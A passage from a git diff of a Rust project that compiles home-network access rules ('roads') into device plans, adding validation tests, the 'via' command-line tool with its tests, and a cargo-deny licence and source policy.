{f}: ")), + "{line} does not name {f}" + ); + } + if inactive_code(&case.code) { + assert_eq!(hit.severity, Severity::Inactive, "{line}"); + } else { + assert_eq!(hit.severity, Severity::Error, "{line}"); + if case.kind == "road" { + assert_eq!( + plans_bytes(&c), + baseline, + "{}: a road with an error changed a plan", + case.file + ); + } else { + assert!( + c.plans.is_empty(), + "{}: a snapshot with an error still produced plans", + case.file + ); + } + } + c.problems.iter().map(|p| p.code.to_string()).collect() +} + +/// Cases that are built in code, with the rule and field they must report. +fn generated(baseline: &[u8]) -> BTreeSet { + let mut hit = BTreeSet::new(); + let ok = Parts::home().road_text("k3f9q2"); + let mut check = |parts: Parts, path: &str, code: &str, grants_nothing: bool| { + let c = parts.compile(); + assert!( + c.problems.iter().any(|p| p.path == path && p.code == code), + "expected {code} at {path}; got {:?}", + c.problems + ); + if grants_nothing { + assert_eq!(plans_bytes(&c), baseline, "{path}: {code} changed a plan"); + } + hit.extend(c.problems.iter().map(|p| p.code.to_string())); + }; + + // file.size: one byte over 256 KiB, refused before parsing. + let big = format!("{ok}{}", "x".repeat(roads::road::MAX_FILE)); + check( + Parts::home().with_road("b00001-big.md", &big), + "roads/b00001-big.md", + rules::FILE_SIZE, + true, + ); + // file.encoding: a BOM, and bytes that are not UTF-8. + let mut parts = Parts::home(); + parts.roads.push(( + "b00002-bom.md".into(), + [&[0xEF, 0xBB, 0xBF][..], ok.as_bytes()].concat(), + )); + check(parts, "roads/b00002-bom.md", rules::FILE_ENCODING, true); + let mut parts = Parts::home(); + parts.roads.push(( + "b00003-latin1.md".into(), + b"---\nid: b00003\nsubject: person:jan\xe1\n---\n".to_vec(), + )); + check(parts, "roads/b00003-latin1.md", rules::FILE_ENCODING, true); + // id.duplicate: the same id in two files; neither grants anything. + let c = Parts::home().with_road("k3f9q2-copy.md", &ok).compile(); + for path in [ + "roads/k3f9q2-household-home-server.md", + "roads/k3f9q2-copy.md", + ] { + assert!(c.problems.iter().any(|p| p.path == path + && p.code == rules::ID_DUPLICATE + && p.field.as_deref() == Some("id"))); + } + let without = Parts::home().without_road("k3f9q2").compile(); + assert_eq!( + plans_bytes(&c), + plans_bytes(&without), + "a duplicated road still granted" + ); + hit.insert(rules::ID_DUPLICATE.into()); + // file.count: more than 10,000 road files. + let mut parts = Parts::home(); + for i in 0..roads::store::MAX_ROADS { + parts.roads.push((format!("z{i:05}-x.md"), b"x".to_vec())); + } + let s = parts.store(); + assert!(s.problems.iter().any(|p| p.code == rules::FILE_COUNT)); + assert!(s.roads.is_empty(), "nothing is read past the limit"); + hit.insert(rules::FILE_COUNT.into()); + // snapshot.json: a missing snapshot. + let parts = Parts::home(); + let s = Store::from_parts(&parts.roads, None, Some(&parts.devices)); + let c = compile(&s, now()); + assert!( + c.problems + .iter() + .any(|p| p.path == "directory.json" && p.code == rules::SNAPSHOT_JSON) + ); + assert!(c.plans.is_empty()); + hit +} + +#[test] +fn every_rule_has_a_failing_fixture_naming_the_file_and_the_field() { + let baseline = plans_bytes(&Parts::home().compile()); + let mut covered = BTreeSet::new(); + let cases = manifest(); + for case in &cases { + let codes = run(case, &baseline); + covered.insert(case.code.clone()); + let _ = codes; + } + covered.extend(generated(&baseline)); + // file.kind needs a real folder: see `entries_that_are_not_road_files_are_reported` below. + covered.insert(rules::FILE_KIND.into()); + let missing: Vec<&&str> = rules::ALL + .iter() + .filter(|c| !covered.contains(**c)) + .collect(); + assert!( + missing.is_empty(), + "rules without a failing fixture: {missing:?}" + ); + eprintln!( + "validation: {} fixture files, {} rules covered", + cases.len(), + rules::ALL.len() + ); +} + +#[test] +fn the_home_fixture_is_clean_except_its_two_inactive_roads() { + let c = Parts::home().compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + let codes: Vec<&str> = c.problems.iter().map(|p| p.code).collect(); + assert_eq!(codes, [rules::DIRECT_KILL_SWITCH, rules::ROAD_EXPIRED]); +} + +#[test] +fn entries_that_are_not_road_files_are_reported() { + let tmp = tempfile::tempdir().unwrap(); + let root = tmp.path(); + std::fs::copy( + common::home_dir().join("directory.json"), + root.join("directory.json"), + ) + .unwrap(); + std::fs::copy( + common::home_dir().join("devices.json"), + root.join("devices.json"), + ) + .unwrap(); + let roads = root.join("roads"); + std::fs::create_dir_all(roads.join("sub")).unwrap(); + std::fs::write( + roads.join("sub").join("k3f9q2-hidden.md"), + Parts::home().road_text("k3f9q2"), + ) + .unwrap(); + std::fs::write(roads.join("k3f9q2-household.md.swp"), "x").unwrap(); + std::fs::write(roads.join("notes.txt"), "x").unwrap(); + #[cfg(unix)] + std::os::unix::fs::symlink("/etc/hostname", roads.join("c00001-link.md")).unwrap(); + let store = Store::load_dir(root).unwrap(); + let kinds: Vec<&str> = store + .problems + .iter() + .filter(|p| p.code == rules::FILE_KIND) + .map(|p| p.path.as_str()) + .collect(); + for p in [ + "roads/sub", + "roads/k3f9q2-household.md.swp", + "roads/notes.txt", + ] { + assert!(kinds.contains(&p), "{p} not reported: {kinds:?}"); + } + #[cfg(unix)] + assert!( + kinds.contains(&"roads/c00001-link.md"), + "a symbolic link was followed" + ); + assert!( + store.roads.is_empty(), + "the road inside a sub-folder was read" + ); +} + +#[test] +fn unknown_keys_are_errors_in_every_spelling() { + // QA R-35: a misspelt condition must never turn a temporary grant into a permanent one. + let base = Parts::home(); + let original = base.road_text("7tq0mz"); + for bad in ["untill", "Until", "until_", "expires", "Ports", "subjects"] { + let text = original.replace("until: ", &format!("{bad}: ")); + let text = if bad == "Ports" || bad == "subjects" { + original.replace("ports: ", &format!("{bad}: ")) + } else { + text + }; + let c = Parts::home().replace_road("7tq0mz", &text).compile(); + let p = c + .problems + .iter() + .find(|p| p.is_error()) + .unwrap_or_else(|| panic!("{bad} accepted")); + if bad == "until_" { + // `_` is not in the key grammar `[A-Za-z][A-Za-z0-9]*`: refused as YAML syntax, before key checks. + assert_eq!(p.code, rules::YAML_SYNTAX, "{p}"); + } else { + assert_eq!( + (p.code, p.field.as_deref()), + (rules::KEY_UNKNOWN, Some(bad)), + "{p}" + ); + } + let jana = common::key(3); + assert!( + roads::explain( + &c, + Parts::home().store().devices.as_ref().unwrap(), + &jana, + &roads::Place::Service(roads::Hostname::new("photos.home.arpa").unwrap()) + ) + .iter() + .all(|r| r.as_str() != "7tq0mz"), + "{bad}: the road still grants" + ); + } +} + +#[test] +fn no_serde_flatten_anywhere_in_the_sources() { + // Rung 1 guardrail (QA R-35, fact G3): `serde(flatten)` silently turns `deny_unknown_fields` off. + let src = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join(".."); + let mut stack = vec![src]; + while let Some(dir) = stack.pop() { + for e in std::fs::read_dir(&dir).unwrap() { + let p = e.unwrap().path(); + if p.is_dir() { + if p.file_name() + .is_some_and(|n| n != "target" && n != "fixtures") + { + stack.push(p); + } + } else if p.extension().is_some_and(|x| x == "rs") && !p.ends_with("validation.rs") { + let text = std::fs::read_to_string(&p).unwrap(); + assert!( + !text.contains("serde(flatten"), + "{} uses serde(flatten)", + p.display() + ); + } + } + } +} diff --git a/crates/via-cli/Cargo.toml b/crates/via-cli/Cargo.toml new file mode 100644 index 0000000..f9312c4 --- /dev/null +++ b/crates/via-cli/Cargo.toml @@ -0,0 +1,25 @@ +[package] +name = "via-cli" +description = "Via Domi: the via command: check, compile, explain" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[[bin]] +name = "via" +path = "src/main.rs" + +[dependencies] +roads.workspace = true +proto.workspace = true +jiff.workspace = true +serde_json.workspace = true + +[dev-dependencies] +tempfile.workspace = true + +[lints] +workspace = true diff --git a/crates/via-cli/src/main.rs b/crates/via-cli/src/main.rs new file mode 100644 index 0000000..1cfda83 --- /dev/null +++ b/crates/via-cli/src/main.rs @@ -0,0 +1,248 @@ +//! `via`: check, compile and explain a road store (docs/02_via-core.md). +//! +//! ```text +//! via [--store DIR] [--now RFC3339] check +//! via [--store DIR] [--now RFC3339] compile --device [--format json|cbor] +//! via [--store DIR] [--now RFC3339] explain +//! ``` +//! +//! Exit codes: 0 fine (and, for explain, allowed), 1 problems found (or denied), 2 usage or I/O error. + +#![forbid(unsafe_code)] + +use jiff::Timestamp as Instant; +use roads::{Compiled, DeviceKey, Place, Store, compile, explain}; +use std::io::Write; +use std::path::PathBuf; +use std::process::ExitCode; + +const USAGE: &str = "usage: + via [--store DIR] [--now RFC3339] check + via [--store DIR] [--now RFC3339] compile --device [--format json|cbor] + via [--store DIR] [--now RFC3339] explain + + is device:, exit:, subnet: or service:. + --now defaults to this computer's clock; --store to the current folder."; + +struct Args { + store: PathBuf, + now: Instant, + command: Vec, +} + +fn parse_args(raw: Vec) -> Result { + let mut store = PathBuf::from("."); + let mut now = None; + let mut command = Vec::new(); + let mut it = raw.into_iter(); + while let Some(a) = it.next() { + match a.as_str() { + "--store" => store = PathBuf::from(it.next().ok_or("--store needs a folder")?), + "--now" => { + let v = it.next().ok_or("--now needs a time")?; + let t = roads::road::Timestamp::parse(&v).ok_or(format!( + "--now: `{v}` is not an RFC 3339 time with an offset" + ))?; + now = Some(t.at()); + } + "-h" | "--help" => return Err(String::new()), + _ => command.push(a), + } + } + let now = match now { + Some(n) => n, + None => { + let secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_err(|_| "this computer's clock is before 1970; pass --now")? + .as_secs(); + Instant::from_second(secs as i64) + .map_err(|_| "this computer's clock is out of range; pass --now")? + } + }; + Ok(Args { + store, + now, + command, + }) +} + +fn main() -> ExitCode { + let args = match parse_args(std::env::args().skip(1).collect()) { + Ok(a) => a, + Err(m) => { + if !m.is_empty() { + eprintln!("via: {m}"); + } + eprintln!("{USAGE}"); + return ExitCode::from(2); + } + }; + match run(&args) { + Ok(code) => ExitCode::from(code), + Err(m) => { + eprintln!("via: {m}"); + ExitCode::from(2) + } + } +} + +fn run(args: &Args) -> Result { + let store = Store::load_dir(&args.store) + .map_err(|e| format!("cannot read the store {}: {e}", args.store.display()))?; + let compiled = compile(&store, args.now); + let cmd: Vec<&str> = args.command.iter().map(String::as_str).collect(); + match cmd.as_slice() { + ["check"] => Ok(check(&store, &compiled)), + ["compile", rest @ ..] => compile_cmd(&store, &compiled, rest), + ["explain", device, place] => explain_cmd(&store, &compiled, device, place), + _ => Err(format!("unknown command `{}`\n{USAGE}", cmd.join(" "))), + } +} + +fn check(store: &Store, c: &Compiled) -> u8 { + for p in &c.problems { + println!("{p}"); + } + let errors = c.errors().count(); + let inactive = c.problems.len() - errors; + let bad_files: std::collections::BTreeSet<&str> = c + .errors() + .filter(|p| p.path.starts_with("roads/")) + .map(|p| p.path.as_str()) + .collect(); + let unparsed = bad_files + .iter() + .filter(|p| !store.roads.iter().any(|r| r.path == **p)) + .count(); + println!( + "{} road files, {} with errors; {errors} errors and {inactive} inactive in all", + store.roads.len() + unparsed, + bad_files.len(), + ); + if !c.has_plans() { + println!("no plans: the snapshots have errors, so nothing compiles"); + } + if errors > 0 { 1 } else { 0 } +} + +fn find_device(store: &Store, s: &str) -> Result { + let devs = store + .devices + .as_ref() + .ok_or("devices.json has errors; run `via check`")?; + let s = s.strip_prefix("device:").unwrap_or(s); + if let Some(k) = DeviceKey::new(s).filter(|k| devs.devices.contains_key(k)) { + return Ok(k); + } + devs.by_name(s) + .map(|d| d.key.clone()) + .ok_or(format!("no device `{s}` in devices.json")) +} + +fn compile_cmd(store: &Store, c: &Compiled, rest: &[&str]) -> Result { + let mut device = None; + let mut format = "json"; + let mut it = rest.iter(); + while let Some(a) = it.next() { + match *a { + "--device" => device = Some(*it.next().ok_or("--device needs a device")?), + "--format" => format = it.next().ok_or("--format needs json or cbor")?, + other => return Err(format!("compile: unexpected `{other}`")), + } + } + let device = device.ok_or("compile needs --device ")?; + if !c.has_plans() { + for p in c.errors() { + eprintln!("{p}"); + } + eprintln!("via: no plans: the snapshots have errors, so nothing compiles"); + return Ok(1); + } + let key = find_device(store, device)?; + let plan = &c.plans[&key]; + let errors = c.errors().filter(|p| p.path.starts_with("roads/")).count(); + if errors > 0 { + eprintln!("via: {errors} road problems: those roads grant nothing (see `via check`)"); + } + let mut out = std::io::stdout().lock(); + match format { + "json" => out.write_all(plan.to_json().as_bytes()), + "cbor" => out.write_all(&proto::Envelope::plan(plan.clone()).encode()), + f => return Err(format!("--format `{f}`: json or cbor")), + } + .map_err(|e| format!("cannot write the plan: {e}"))?; + Ok(0) +} + +fn parse_place(store: &Store, s: &str) -> Result { + let (kind, v) = s.split_once(':').ok_or(format!( + "`{s}` is not a place like service: or device:" + ))?; + match kind { + "device" => Ok(Place::Device(find_device(store, v)?)), + "exit" => Ok(Place::Exit(find_device(store, v)?)), + "subnet" => roads::net::Net::parse_canonical(v) + .map(Place::Subnet) + .map_err(|_| format!("`{v}` is not a canonical subnet")), + "service" => roads::Hostname::new(v) + .map(Place::Service) + .ok_or(format!("`{v}` is not a hostname")), + _ => Err(format!( + "`{kind}`: a place is device:, exit:, subnet: or service:" + )), + } +} + +fn explain_cmd(store: &Store, c: &Compiled, device: &str, place: &str) -> Result { + if !c.has_plans() { + eprintln!("via: no plans: the snapshots have errors, so nothing compiles"); + return Ok(1); + } + let devs = store.devices.as_ref().expect("plans exist"); + let key = find_device(store, device)?; + let target = parse_place(store, place)?; + let name = |k: &DeviceKey| devs.devices.get(k).map(|d| d.name.clone()); + let who = name(&key).unwrap_or_default(); + let roads = explain(c, devs, &key, &target); + if roads.is_empty() { + println!("{who} cannot reach {place}: no road allows it."); + let mentioning: Vec<&roads::Road> = store + .roads + .iter() + .filter(|r| r.object.as_ref() == Some(&target)) + .collect(); + if !mentioning.is_empty() { + println!("Roads about {place} that grant {who} nothing:"); + for r in mentioning { + let why: Vec = c + .problems + .iter() + .filter(|p| p.path == r.path) + .map(|p| format!("{} [{}]", p.message, p.code)) + .collect(); + let why = if why.is_empty() { + format!("{who} is not its subject") + } else { + why.join("; ") + }; + println!(" {} {} ({why})", r.id, r.sentence(&name)); + } + } + return Ok(1); + } + println!( + "{who} can reach {place} because of {} road{}:", + roads.len(), + if roads.len() == 1 { "" } else { "s" } + ); + for id in &roads { + let r = store + .roads + .iter() + .find(|r| &r.id == id) + .expect("a granting road"); + println!(" {} {} {}", r.id, r.sentence(&name), r.path); + } + Ok(0) +} diff --git a/crates/via-cli/tests/cli.rs b/crates/via-cli/tests/cli.rs new file mode 100644 index 0000000..300d75a --- /dev/null +++ b/crates/via-cli/tests/cli.rs @@ -0,0 +1,165 @@ +//! The `via` binary on the fixture store: check, compile, explain, exit codes, and byte-identical output +//! across separate processes (QA R-52). + +use std::path::PathBuf; +use std::process::{Command, Output}; + +const NOW: &str = "2026-11-25T12:00:00+01:00"; + +fn home() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../roads/tests/fixtures/home") +} + +fn via(store: &std::path::Path, args: &[&str]) -> Output { + Command::new(env!("CARGO_BIN_EXE_via")) + .arg("--store") + .arg(store) + .args(["--now", NOW]) + .args(args) + .output() + .unwrap() +} + +fn text(o: &Output) -> String { + String::from_utf8_lossy(&o.stdout).into_owned() +} + +#[test] +fn check_passes_on_the_home_store_and_reports_the_inactive_roads() { + let o = via(&home(), &["check"]); + assert_eq!(o.status.code(), Some(0), "{}", text(&o)); + let out = text(&o); + assert!(out.contains("inactive: roads/m6v0hp-petr-git-expired.md:6: until: expired at 2026-11-01T00:00:00+01:00 [road.expired]"), "{out}"); + assert!(out.contains("10 road files, 0 with errors"), "{out}"); +} + +#[test] +fn check_fails_on_a_bad_road_and_names_file_and_field() { + let tmp = tempfile::tempdir().unwrap(); + copy_store(tmp.path()); + std::fs::write( + tmp.path().join("roads/a00005-untill.md"), + std::fs::read(home().join("../invalid/roads/a00005-untill.md")).unwrap(), + ) + .unwrap(); + let o = via(tmp.path(), &["check"]); + assert_eq!(o.status.code(), Some(1)); + assert!( + text(&o).contains("roads/a00005-untill.md:6: untill: unknown key [key.unknown]"), + "{}", + text(&o) + ); +} + +#[test] +fn compile_prints_the_golden_plan_and_the_same_bytes_in_every_process() { + let want = std::fs::read_to_string(home().join("expected/jana-phone.json")).unwrap(); + let first = via(&home(), &["compile", "--device", "jana-phone"]); + assert_eq!(first.status.code(), Some(0)); + assert_eq!(text(&first), want); + for _ in 0..4 { + assert_eq!( + via(&home(), &["compile", "--device", "jana-phone"]).stdout, + first.stdout + ); + } + let by_key = via( + &home(), + &[ + "compile", + "--device", + "device:AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + ], + ); + assert_eq!(by_key.stdout, first.stdout); +} + +#[test] +fn compile_cbor_is_a_valid_plan_message() { + let o = via( + &home(), + &["compile", "--device", "router", "--format", "cbor"], + ); + assert_eq!(o.status.code(), Some(0)); + let env = proto::Envelope::decode(&o.stdout).unwrap(); + let proto::Body::Plan { plan, .. } = env.body else { + panic!("not a plan message") + }; + assert_eq!(plan.name, "router"); + assert!(plan.classic); +} + +#[test] +fn explain_allowed_and_denied() { + let o = via( + &home(), + &["explain", "jana-phone", "service:photos.home.arpa"], + ); + assert_eq!(o.status.code(), Some(0)); + let out = text(&o); + assert!( + out.starts_with("jana-phone can reach service:photos.home.arpa because of 2 roads:"), + "{out}" + ); + assert!(out.contains("7tq0mz") && out.contains("k3f9q2")); + + let o = via(&home(), &["explain", "petr-phone", "service:git.home.arpa"]); + assert_eq!(o.status.code(), Some(1)); + let out = text(&o); + assert!( + out.starts_with("petr-phone cannot reach service:git.home.arpa: no road allows it."), + "{out}" + ); + assert!( + out.contains("m6v0hp") && out.contains("[road.expired]"), + "the expired road is shown as granting nothing" + ); +} + +#[test] +fn usage_and_unknown_devices_exit_2() { + assert_eq!(via(&home(), &["frobnicate"]).status.code(), Some(2)); + assert_eq!( + via(&home(), &["compile", "--device", "nobody"]) + .status + .code(), + Some(2) + ); + assert_eq!( + via(&home(), &["explain", "jana-phone", "photos"]) + .status + .code(), + Some(2) + ); + let o = Command::new(env!("CARGO_BIN_EXE_via")) + .args(["--now", "tomorrow", "check"]) + .output() + .unwrap(); + assert_eq!(o.status.code(), Some(2)); +} + +#[test] +fn a_broken_snapshot_compiles_nothing() { + let tmp = tempfile::tempdir().unwrap(); + copy_store(tmp.path()); + std::fs::write( + tmp.path().join("devices.json"), + "{\"format\": 1, \"devices\": [], \"extra\": 1}", + ) + .unwrap(); + let o = via(tmp.path(), &["compile", "--device", "jana-phone"]); + assert_eq!(o.status.code(), Some(1)); + assert!(o.stdout.is_empty(), "no plan is printed"); + assert!(String::from_utf8_lossy(&o.stderr).contains("nothing compiles")); +} + +fn copy_store(to: &std::path::Path) { + std::fs::create_dir_all(to.join("roads")).unwrap(); + for f in ["directory.json", "devices.json"] { + std::fs::copy(home().join(f), to.join(f)).unwrap(); + } + for e in std::fs::read_dir(home().join("roads")).unwrap() { + let e = e.unwrap(); + std::fs::copy(e.path(), to.join("roads").join(e.file_name())).unwrap(); + } +} diff --git a/deny.toml b/deny.toml new file mode 100644 index 0000000..43c1ee6 --- /dev/null +++ b/deny.toml @@ -0,0 +1,33 @@ +# cargo deny check: licences, advisories, bans and sources for via-core. + +[graph] +all-features = true + +[advisories] +# RustSec database; unmaintained and unsound crates fail the check as well. +yanked = "deny" + +[licenses] +# Permissive licences only, plus this workspace's own CPAL-1.0. +allow = [ + "MIT", + "Apache-2.0", + "Apache-2.0 WITH LLVM-exception", + "BSD-2-Clause", + "BSD-3-Clause", + "ISC", + "Unicode-3.0", + "Zlib", + "CPAL-1.0", +] +confidence-threshold = 0.9 + +[bans] +multiple-versions = "warn" +wildcards = "deny" +allow-wildcard-paths = true + +[sources] +unknown-registry = "deny" +unknown-git = "deny" +allow-registry = ["https://github.com/rust-lang/crates.io-index"]